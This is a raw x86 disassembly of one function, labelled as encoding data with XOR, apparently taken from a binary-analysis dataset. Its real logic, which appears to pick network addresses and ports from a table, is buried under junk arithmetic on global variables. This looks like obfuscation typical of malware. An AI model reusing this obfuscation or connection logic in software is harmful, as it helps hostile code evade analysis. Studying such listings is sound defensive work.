Function at 0x40e7fa
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x7c
mov edi, ecx
mov bl, byte [esp + 0x94]
xor dword [0x48d1a0], 0x8b274e7d
mov eax, dword [0x488c7c]
and eax, 0xb6e7b47d
mov cx, word [0x48e5a8]
inc ecx
mov word [0x48e5a8], cx
movsx ecx, cx
cmp eax, ecx
je 0x40e846
mov eax, dword [0x48a5d0]
mov ecx, 0x8e78cc00
sub ecx, eax
add dword [0x488bc0], ecx
call fcn.00431828
mov ebp, eax
mov dword [esp + 0x1c], edx
mov ax, word [0x48e052]
xor eax, 0xcc60
mov word [0x48e052], ax
mov ax, word [0x4900e4]
cwde
xor eax, 0x344fc568
add dword [0x487424], eax
push edi
call dword [0x486ec8]
mov dword [0x489588], 0xffdf7ff7
test bl, bl
je 0x40e8cb
mov eax, dword [0x4897d4]
lea ecx, [eax - 1]
mov dword [0x4897d4], ecx
or eax, 0xc87f
mov cx, word [0x48e19e]
sub ecx, eax
mov word [0x48e19e], cx
lea esi, [edi + 0x18]
mov eax, dword [edi + 0x18]
mov edx, dword [edi + 0x1c]
xor ebx, ebx
xor ecx, ecx
lock cmpxchg8b qword [esi]
jne 0x40e8b5
add dword [0x48d670], 0x40dc09b
jmp 0x40e8ce
lea esi, [edi + 0x18]
mov ax, word [0x4901da]
add eax, 0x90b
mov word [0x4901da], ax
xor eax, eax
xor edx, edx
xor ebx, ebx
xor ecx, ecx
lock cmpxchg8b qword [esi]
cmp ebp, eax
mov eax, dword [esp + 0x1c]
sbb eax, edx
mov edx, dword [esp + 0x90]
jae 0x40e96d
mov eax, dword [0x48b820]
mov ecx, dword [0x48d1a4]
imul ecx, ecx, 0x84ce70c0
or ecx, eax
mov ax, word [0x4909ca]
imul eax, ecx
mov word [0x4909ca], ax
mov eax, dword [edi + 0x2c]
mov dword [edx + 0xc], eax
mov eax, dword [edi + 0x28]
mov dword [edx + 8], eax
mov eax, dword [edi + 0x20]
mov ecx, dword [edi + 0x24]
mov dword [edx + 4], ecx
mov dword [edx], eax
mov eax, dword [0x488210]
dec eax
mov dword [0x488210], eax
mov cx, word [0x49175a]
xor ecx, eax
mov word [0x49175a], cx
mov eax, dword [0x48d5e8]
lea eax, [eax*4 - 0x28ae6039]
xor dword [0x486f74], eax
xor eax, eax
inc eax
mov dword [esp + 0x18], eax
xor ebx, ebx
jmp 0x40e98b
mov dword [esp + 0x18], 0
add dword [0x48a7f4], 0xbebe9cb1
and dword [0x48b4e4], 0x46c3cc6a
mov bl, 1
mov ax, word [0x48ec02]
cwde
shr eax, 9
and eax, 0x5d1a
mov cx, word [0x4912ee]
sub ecx, eax
mov word [0x4912ee], cx
push edi
call dword [0x486ecc]
mov dword [0x48bb58], 0xcb72d151
test bl, bl
je 0x40f466
mov eax, dword [0x48de78]
mov ecx, dword [0x488414]
lea edx, [ecx + 1]
mov dword [0x488414], edx
imul eax, ecx
cmp eax, 0x597be335
jne 0x40e9f2
mov ax, word [0x490f88]
add eax, 0xffffc396
mov word [0x490f88], ax
mov ax, word [0x48ebfe]
add eax, 0xfffff4e5
mov word [0x48ebfe], ax
or dword [0x48d2ac], 0x88c2992
push 0x600
push 0x54b4
call fcn.00422ac4
add esp, 8
mov dword [esp + 0x24], eax
mov cx, word [0x491170]
xor ecx, 0x574c
mov word [0x491170], cx
movzx ebx, byte [eax]
mov dword [esp + 0x20], ebx
mov eax, dword [0x489c00]
add eax, 0x465b3f7
and eax, 0xc313ea9
mov dword [0x4884c4], eax
mov eax, dword [0x48b884]
lea ecx, [eax + 1]
mov dword [0x48b884], ecx
and eax, 0x810
mov word [0x490caa], ax
xor eax, eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], eax
xor dword [0x489280], 0x9d05b89c
mov word [esp + 0x6c], 2
xor dword [0x48c2bc], 0x1b0180e
mov eax, dword [0x48d0d8]
sar eax, 4
mov ecx, dword [0x48c028]
shl ecx, 4
and ecx, eax
or ecx, 0x73f6a7e8
mov eax, dword [0x488bc8]
sub eax, ecx
mov dword [0x488bc8], eax
mov dword [esp + 0x58], 0x13
mov eax, dword [0x48a010]
lea ecx, [eax - 1]
mov dword [0x48a010], ecx
cmp eax, 0x2d0d9137
je 0x40eaf3
mov eax, dword [0x48d644]
and eax, 0xf1155155
mov ecx, dword [0x488818]
imul ecx, eax
mov dword [0x488818], ecx
mov dword [esp + 0xc], ebp
mov dword [esp + 4], esi
mov dword [esp + 0x5c], 0
add dword [0x488500], 0xc1128101
mov dword [esp + 0x60], 7
xor dword [0x48c444], 0x139bf048
mov byte [esp + 0x64], 3
mov ax, word [0x49043c]
mov ax, word [0x48e222]
lea ecx, [esp + 0x44]
call fcn.0042878a
mov eax, dword [0x48991c]
shl eax, 3
or eax, 0xab0bf420
mov ecx, dword [0x489404]
lea edx, [ecx - 1]
mov dword [0x489404], edx
mov edx, 0x34851861
sub edx, ecx
cmp eax, edx
jl 0x40eb6a
or dword [0x489ee4], 0x46777488
xor ebp, ebp
lea esi, [esp + 0x44]
mov ecx, esi
push ebp
push ebx
call fcn.00416480
mov ax, word [0x490f52]
mov ecx, 0xffff9267
sub ecx, eax
mov ax, word [0x48f73c]
and eax, ecx
mov word [0x48f73c], ax
mov dword [esp + 0x30], ebp
test bl, bl
je 0x40f269
lea esi, [esp + 0x30]
lea ebp, [esp + 0x44]
xor dword [0x48d41c], 0x9290ee8b
mov ecx, ebp
push esi
call fcn.00418712
mov ax, word [0x48f4c8]
lea ecx, [eax - 1]
mov word [0x48f4c8], cx
cwde
or eax, 0x44400200
mov ecx, dword [0x48a1f8]
imul ecx, eax
mov dword [0x48a1f8], ecx
mov eax, dword [esp + 0x30]
inc eax
mov dword [esp + 0x30], eax
cmp eax, ebx
jne 0x40eba8
mov dword [esp + 0x2c], edi
mov dword [0x48c470], 0x8fc0d129
push ebp
call fcn.0042814b
add esp, 4
mov eax, dword [0x48b370]
imul eax, eax, 0x75ca7a68
mov dword [esp + 0x10], 0
test bl, bl
mov dword [0x48b370], eax
mov dword [esp + 8], 0
je 0x40f2a0
xor edi, edi
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov dword [esp + 0x14], 0
jmp 0x40edf0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x28]
inc edi
mov eax, dword [esp + 0x20]
cmp edi, eax
jne 0x40edf0
jmp 0x40f2a0
mov ax, word [0x490660]
imul eax, eax, 0xffffc266
mov word [0x490660], ax
add dword [0x48a468], 0x22060179
mov eax, dword [0x4899a8]
sar eax, 2
imul eax, eax, 0xac9c9f39
add eax, 0x9ef8a6e5
mov ecx, dword [0x48d5f8]
imul ecx, eax
mov dword [0x48d5f8], ecx
add dword [0x4890b0], 0x8671d1e1
mov ebx, 0x408
push ebx
push 0x4ba5
call fcn.00422ac4
add esp, 8
mov ebp, eax
mov ax, word [0x48fe0c]
lea ecx, [eax - 1]
mov word [0x48fe0c], cx
cwde
and eax, 0xcc526bd1
mov dword [0x48d06c], eax
lea esi, [esp + 0x30]
mov ecx, esi
call fcn.00426bd6
mov dword [esp + 0x14], eax
mov ecx, esi
call fcn.00415900
push dword [esp + 0x14]
push eax
push ebp
call fcn.0040fa56
add esp, 0xc
mov edx, dword [0x48a3cc]
lea ecx, [edx - 1]
mov dword [0x48a3cc], ecx
mov ecx, dword [0x48bbb8]
or ecx, edx
or ecx, 0xbcb7bbb
mov dword [0x48bbb8], ecx
push ebp
push ebx
mov ebx, eax
call fcn.004228ac
add esp, 8
add dword [0x48a400], 0x7806000b
cmp ebx, 5
jl 0x40ed49
mov ecx, esi
call fcn.00426bd6
cmp ebx, eax
jbe 0x40ed78
mov word [0x490820], 0xe6cc
add dword [0x48d7d4], 0x523a8b3
mov dword [0x48ce98], 0x5062f229
mov edi, dword [esp + 0x2c]
mov word [0x48f9e2], 0x57b7
jmp 0x40f0b3
mov dword [0x48c110], 0x738805c2
add ebx, 0xfffffffc
add dword [0x4879f0], 0xa656efef
mov dword [0x48ce98], 0x5062f229
add edi, 0xa
cmp ebx, edi
mov edi, dword [esp + 0x2c]
jl 0x40ed6a
or dword [0x48c248], 0x10d8023e
mov ecx, esi
call fcn.00415900
mov ecx, dword [eax]
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 4]
mov dword [esp + 8], eax
mov eax, dword [0x48a6e4]
add eax, 0x6a7270b5
mov bl, 1
mov dword [esp + 0x14], 0
cmp eax, 0x984c0bde
jl 0x40f254
add dword [0x48c974], 0xbad9f14e
jmp 0x40f254
mov dword [esp + 0x28], edi
mov ebx, esi
mov eax, dword [0x48bd64]
mov ecx, 0xd5556de2
sub ecx, eax
mov ax, word [0x4908ce]
dec eax
mov word [0x4908ce], ax
cwde
or eax, ecx
mov ecx, dword [0x489ed4]
imul ecx, eax
mov dword [0x489ed4], ecx
lea ebp, [esp + 0x44]
mov ecx, ebp
push edi
call fcn.00410ba0
mov eax, dword [eax]
add eax, eax
lea eax, [eax + eax*2]
or eax, 1
mov esi, dword [esp + 0x24]
mov eax, dword [esi + eax]
mov dword [esp + 0x70], eax
mov eax, dword [0x48bdc4]
lea ecx, [eax - 1]
mov dword [0x48bdc4], ecx
mov ecx, dword [0x48a6cc]
lea eax, [eax + ecx - 0x3fb06b90]
or dword [0x48c2ac], eax
mov ecx, ebp
push edi
call fcn.00410ba0
mov eax, dword [eax]
add eax, eax
lea eax, [eax + eax*2]
or eax, 1
mov ax, word [eax + esi + 4]
mov word [esp + 0x6e], ax
mov ax, word [0x48fae8]
cwde
sar eax, 4
imul eax, eax, 0xd4db21f0
mov ecx, dword [0x48d6d4]
lea edx, [ecx - 1]
mov dword [0x48d6d4], edx
add ecx, 0xdb42dbe7
cmp eax, ecx
jne 0x40eeb2
add dword [0x488b40], 0x11400
mov esi, ebx
mov ecx, esi
call fcn.0041358c
add dword [0x48a47c], 0x721ef299
mov eax, dword [esp + 0x70]
mov dword [esp + 0x65], eax
mov eax, dword [0x48ab54]
lea ecx, [eax + 1]
mov dword [0x48ab54], ecx
mov cx, word [0x490190]
mov edx, 0xffff8665
sub edx, eax
add edx, ecx
mov word [0x490190], dx
mov ax, word [esp + 0x6e]
mov word [esp + 0x69], ax
xor dword [0x48942c], 0x6d73b54
mov ecx, esi
push 0x13
lea eax, [esp + 0x5c]
push eax
call fcn.004275d0
mov eax, dword [0x4899b0]
mov ecx, 0x3ad84e7d
sub ecx, eax
mov dword [0x48b3f0], ecx
mov edi, dword [esp + 0x2c]
mov ecx, edi
push 0
mov eax, 2
push eax
push esi
lea eax, [esp + 0x78]
push eax
call fcn.00415ea0
test eax, eax
jle 0x40ef90
mov eax, dword [0x48c4d0]
imul eax, eax, 0x2b656401
mov ecx, dword [0x488a10]
sar ecx, 3
xor ecx, eax
mov eax, dword [0x48c2fc]
add eax, 0xb0557544
cmp ecx, eax
jne 0x40ef71
or dword [0x48dfe4], 0xc0e28e69
mov ecx, esi
call fcn.00426bd6
cmp eax, 0x400
ja 0x40efa1
and dword [0x4880bc], 0xe5e86c33
xor ebx, ebx
jmp 0x40f254
mov dword [0x488d54], 0xcd9607bb
xor ebx, ebx
jmp 0x40f254
mov eax, dword [0x48d294]
lea ecx, [eax - 1]
mov dword [0x48d294], ecx
imul eax, eax, 0x65ec251a
mov word [0x4909fe], ax
mov ecx, esi
call fcn.00426bd6
cmp eax, 0x4001
jb 0x40efda
and dword [0x48be20], 0xf86bfcff
xor ebx, ebx
jmp 0x40f254
and dword [0x48a608], 0xa35e8d18
mov ecx, esi
call fcn.00415900
mov ecx, dword [eax + 4]
mov edx, dword [esp + 0xc]
cmp dword [eax], edx
sbb ecx, dword [esp + 0x1c]
jae 0x40f044
mov eax, dword [0x48d3d8]
imul eax, eax, 0x1f980944
mov dword [0x48d3d8], eax
mov ecx, dword [esp + 0x14]
inc ecx
mov ax, word [0x48fffe]
add eax, 0x75fc
mov word [0x48fffe], ax
cmp ecx, 3
jne 0x40f0c2
mov ax, word [0x48e5e0]
cwde
mov dword [0x4888f4], eax
mov bl, 1
mov dword [esp + 0x14], 3
jmp 0x40f254
and dword [0x488f60], 0x36c5d50d
mov ax, word [0x4917f6]
cwde
xor eax, 0x98c4b098
mov ecx, dword [0x48b4ec]
sub ecx, eax
mov dword [0x48b4ec], ecx
mov ecx, esi
call fcn.00415900
movzx ebx, word [eax + 8]
mov eax, dword [0x48dd2c]
imul eax, eax, 0xec9fdc00
add eax, 0x2f10
mov cx, word [0x48fc3a]
and ecx, eax
mov word [0x48fc3a], cx
lea eax, [ebx + ebx]
lea ebp, [eax + eax*2]
mov ecx, esi
call fcn.00426bd6
add eax, 0xfffffbf6
cmp ebp, eax
jbe 0x40f0d6
and dword [0x489a88], 0x811dbbaf
mov dword [esp + 0x14], 0
xor ebx, ebx
jmp 0x40f254
mov dword [esp + 0x14], ecx
mov word [0x49078e], 0x6f7c
xor ebx, ebx
jmp 0x40f254
mov edi, ebp
mov eax, dword [0x48b7e0]
imul eax, eax, 0x7b1fdf8b
mov dword [0x48b7e0], eax
xor dword [0x48b7fc], 0x61c0f8aa
test bx, bx
je 0x40f205
xor ebp, ebp
mov eax, dword [0x4899d0]
cmp eax, 0x3f39847a
jne 0x40f11e
mov eax, dword [0x489f8c]
mov ecx, dword [0x4880a4]
sub ecx, eax
mov dword [0x4880a4], ecx
jmp 0x40f141
mov eax, dword [0x4876b4]
mov ecx, dword [0x487a44]
inc ecx
mov dword [0x487a44], ecx
mov edx, dword [0x48be94]
imul edx, ecx
or edx, eax
xor dword [0x48a2f4], edx
mov esi, dword [esp + 0x70]
lea ecx, [esp + 0x30]
call fcn.00415900
cmp esi, dword [eax + ebp + 0xa]
jne 0x40f1e4
mov eax, dword [0x488038]
mov ecx, dword [0x4872ac]
lea edx, [ecx + 1]
mov dword [0x4872ac], edx
lea eax, [eax + ecx + 0xf341f87]
cmp eax, 0x9f202a30
jg 0x40f1b5
mov eax, dword [0x48af04]
dec eax
mov dword [0x48af04], eax
and eax, 0x61452d23
mov cx, word [0x48ed64]
lea edx, [ecx - 1]
mov word [0x48ed64], dx
movsx ecx, cx
cmp eax, ecx
jne 0x40f1bf
mov ax, word [0x48e1b0]
add eax, 0x5be0
mov word [0x48e1b0], ax
jmp 0x40f1bf
xor dword [0x4872dc], 0xfffbbfff
movzx esi, word [esp + 0x6e]
lea ecx, [esp + 0x30]
call fcn.00415900
movzx eax, word [eax + ebp + 0xe]
cmp esi, eax
je 0x40ec64
xor dword [0x48c3f4], 0x2880222a
mov eax, dword [0x487504]
or eax, 2
mov ecx, dword [0x48a180]
imul ecx, eax
mov dword [0x48a180], ecx
add ebp, 6
dec ebx
jne 0x40f0fd
mov eax, dword [0x4899a8]
sar eax, 2
imul eax, eax, 0xac9c9f39
add eax, 0x9ef8a6e5
mov ecx, dword [0x48d5f8]
imul ecx, eax
mov dword [0x48d5f8], ecx
mov eax, dword [0x488318]
imul eax, eax, 0x8ff53f27
mov cx, word [0x490db6]
add ecx, eax
mov word [0x490db6], cx
mov dword [esp + 0x14], 0
xor ebx, ebx
mov edi, dword [esp + 0x2c]
lea esi, [esp + 0x30]
mov ecx, esi
call fcn.0042ff3c
test bl, bl
je 0x40ec4a
mov dword [esp + 0x2c], edi
jmp 0x40f2a0
mov dword [esp + 0x2c], edi
mov dword [esp + 8], 0
mov dword [0x48c470], 0x8fc0d129
push esi
call fcn.0042814b
add esp, 4
mov eax, dword [0x48b370]
imul eax, eax, 0x75ca7a68
mov dword [0x48b370], eax
mov dword [esp + 0x10], 0
mov eax, dword [0x48d760]
imul eax, eax, 0x2ac7e696
mov dword [0x48d760], eax
lea eax, [esp + 0x58]
push 0x13
push eax
call fcn.00430c4a
add esp, 8
mov eax, dword [0x48cbf4]
mov ecx, 0xe974c7d5
sub ecx, eax
add dword [0x489764], ecx
push dword [esp + 0x24]
push 0x600
call fcn.004228ac
add esp, 8
mov ax, word [0x491670]
cwde
mov ecx, 0x45e4d1e7
sub ecx, eax
add dword [0x48b158], ecx
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 8]
or eax, ecx
mov ebp, dword [esp + 0x2c]
je 0x40f44d
mov ebx, ecx
mov eax, dword [0x488400]
cmp eax, 0x5c02f4f9
jne 0x40f322
and dword [0x48def8], 0x3dbe5b8f
push ebp
call dword [0x486ec8]
and dword [0x4899bc], 0xa0353d67
mov eax, dword [esp + 0x78]
mov dword [ebp + 0x2c], eax
mov eax, dword [esp + 0x74]
mov dword [ebp + 0x28], eax
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov dword [ebp + 0x24], ecx
mov dword [ebp + 0x20], eax
mov eax, dword [0x48d0d0]
dec eax
mov dword [0x48d0d0], eax
xor eax, 0x8a3a507f
mov cx, word [0x490048]
movsx ecx, cx
or ecx, 0x4f784f01
cmp eax, ecx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x90]
jne 0x40f399
mov eax, dword [0x487d90]
imul eax, eax, 0x55bc94cf
mov cx, word [0x48e43c]
and ecx, eax
mov word [0x48e43c], cx
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov ecx, ebx
mov ebx, dword [esp + 0x10]
lock cmpxchg8b qword [esi]
jne 0x40f3a4
mov eax, dword [0x48dfec]
imul eax, eax, 0xe6948f46
cmp eax, 0xf0f4df3e
jne 0x40f3cc
mov eax, dword [0x48abf0]
imul eax, eax, 0xe8c9c5a6
mov dword [0x48abf0], eax
push ebp
call dword [0x486ecc]
mov ax, word [0x490606]
lea ecx, [eax - 1]
mov word [0x490606], cx
mov ecx, dword [0x48d55c]
dec ecx
mov dword [0x48d55c], ecx
imul ecx, ecx, 0xcf376485
or ecx, eax
mov word [0x490bca], cx
mov eax, dword [esp + 0x78]
mov dword [edi + 0xc], eax
mov eax, dword [esp + 0x74]
mov dword [edi + 8], eax
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov dword [edi + 4], ecx
mov dword [edi], eax
mov eax, dword [0x488d38]
sar eax, 6
mov ecx, dword [0x48c8f0]
xor ecx, eax
xor ecx, 0xed2eadb7
mov dword [0x48c8f0], ecx
mov eax, dword [0x48a15c]
imul eax, eax, 0xc750e992
mov dword [0x48a15c], eax
xor eax, eax
inc eax
mov dword [esp + 0x18], eax
mov eax, dword [0x4872d8]
imul eax, eax, 0x34039d68
mov dword [0x4872d8], eax
lea ecx, [esp + 0x44]
call fcn.0042bd60
mov eax, dword [esp + 0x18]
add dword [0x488780], 0x26a1bad3
add esp, 0x7c
pop esi
pop edi
pop ebx
pop ebp
ret 8